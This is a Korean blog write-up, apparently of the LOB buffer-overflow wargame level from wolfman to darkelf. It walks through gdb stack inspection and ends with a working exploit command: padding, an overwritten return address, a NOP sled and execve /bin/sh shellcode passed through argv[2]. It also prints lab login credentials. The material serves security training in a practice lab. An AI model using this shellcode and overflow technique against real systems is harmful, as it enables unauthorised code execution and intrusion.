1. wolfman/love eyuna로 로그인
2. bash2, ulimit -c unlimited 명령어 실행 후 ls -l로 디렉터리 내부 파일 확인
3. darkelf.c 파일 확인
환경변수, buffer 사용이 불가하고 buffer의 ret값까지만 변조할 수 있다.
4. gdb로 실행
우선 권한 문제 해결을 위해 darkelf를 copyelf로 복사했다.
strcpy가 실행된 후인 <main+242>에 breakpoint를 걸었다.
A 44개와 0xbfbfbfbf를 넣었다. esp를 확인해보니 아래와 같다.
첫줄부터 확인해보면 입력한 값이 성공적으로 들어간 것을 확인할 수 있다. 이것이 buffer의 주소다.
아래 0xbffffc24부터 다시 A가 확인되는데, 여기가 argv 인자값을 저장하는 스택의 주소다.
5. 공격 및 비밀번호 획득
위의 주소 중 적당한 값(0xbffffc84)을 골라 이용했다.
공격코드는 전 단계와 비슷하게 다음과 같이 작성했다.
./darkelf `python -c 'print "A"*44+"\x84\xf8\xff\xbf"+"\x90"*1000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
그런데 이렇게 하니 "argument if too long!"이라는 문구가 뜨며 실패했다.
그래서 주소값 뒤에 공백을 넣어 뒷부분이 argv[2]에 전달될 수 있도록 다음과 같이 수정했다.
./darkelf `python -c 'print "A"*44+"\x84\xf8\xff\xbf"+" "+"\x90"*1000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
비밀번호: kernel crashed
'SYSTEM > LOB' 카테고리의 다른 글
[LOB] orc → wolfman (0) | 2021.03.14 |
---|---|
[LOB] goblin → orc (0) | 2021.03.14 |
[LOB] cobolt → goblin (0) | 2021.03.04 |
[LOB] gremlin → cobolt (0) | 2021.03.04 |
[LOB] gate → gremlin (0) | 2021.02.26 |